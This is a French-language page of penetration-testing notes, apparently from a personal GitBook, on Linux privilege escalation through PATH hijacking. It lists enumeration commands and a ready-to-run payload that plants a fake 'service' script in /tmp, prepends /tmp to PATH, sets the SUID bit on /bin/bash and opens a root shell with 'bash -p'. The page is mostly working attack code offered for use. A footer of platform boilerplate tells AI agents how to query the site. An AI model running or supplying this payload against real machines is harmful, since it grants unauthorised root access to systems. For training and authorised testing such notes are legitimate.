> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/path-hijacking.md).

# Détournement de PATH

Le détournement de PATH abuse des programmes ou scripts privilégiés qui appellent des commandes sans chemins absolus. Si l'attaquant contrôle un répertoire placé plus tôt dans `PATH`, le processus privilégié peut exécuter le binaire de l'attaquant.

## Méthodologie

* Identifiez les scripts ou binaires privilégiés qui appellent des outils par leur nom au lieu du chemin complet.
* Confirmez l’environnement d’exécution et les répertoires inscriptibles dans `PATH`.
* Placez un exécutable contrôlé portant le nom attendu et déclenchez le flux de travail privilégié.

## Vérifications rapides

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Recherchez en particulier les programmes privilégiés qui appellent d’autres commandes sans chemins absolus :

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Vérifiez si un `PATH` répertoire actuel est inscriptible :

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## Modèle de charge utile minimale

Si un script privilégié appelle une commande par son nom relatif, créez un exécutable portant le même nom dans un répertoire inscriptible et placez ce répertoire au début de `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Déclenchez le script vulnérable ou attendez que le flux de travail privilégié s’exécute, puis vérifiez :

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Détournement de PATH test.c</h4></td><td>Notes sur le détournement de PATH (test.c) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting.</td><td><a href="/pages/0d59b9ab1a807527d8d45ddb90dd667f0890f2fc">/pages/0d59b9ab1a807527d8d45ddb90dd667f0890f2fc</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Détournement de PATH avec tar</h4></td><td>Notes sur le détournement de PATH (tar) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting.</td><td><a href="/pages/8cc493f266c2b04b4af0ba3b74727b86fd28936b">/pages/8cc493f266c2b04b4af0ba3b74727b86fd28936b</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Détournement de PATH avec gzip</h4></td><td>Notes sur le détournement de PATH (gzip) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le reporting.</td><td><a href="/pages/95b10e37d359ae5690310f974383046f593c32db">/pages/95b10e37d359ae5690310f974383046f593c32db</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/path-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
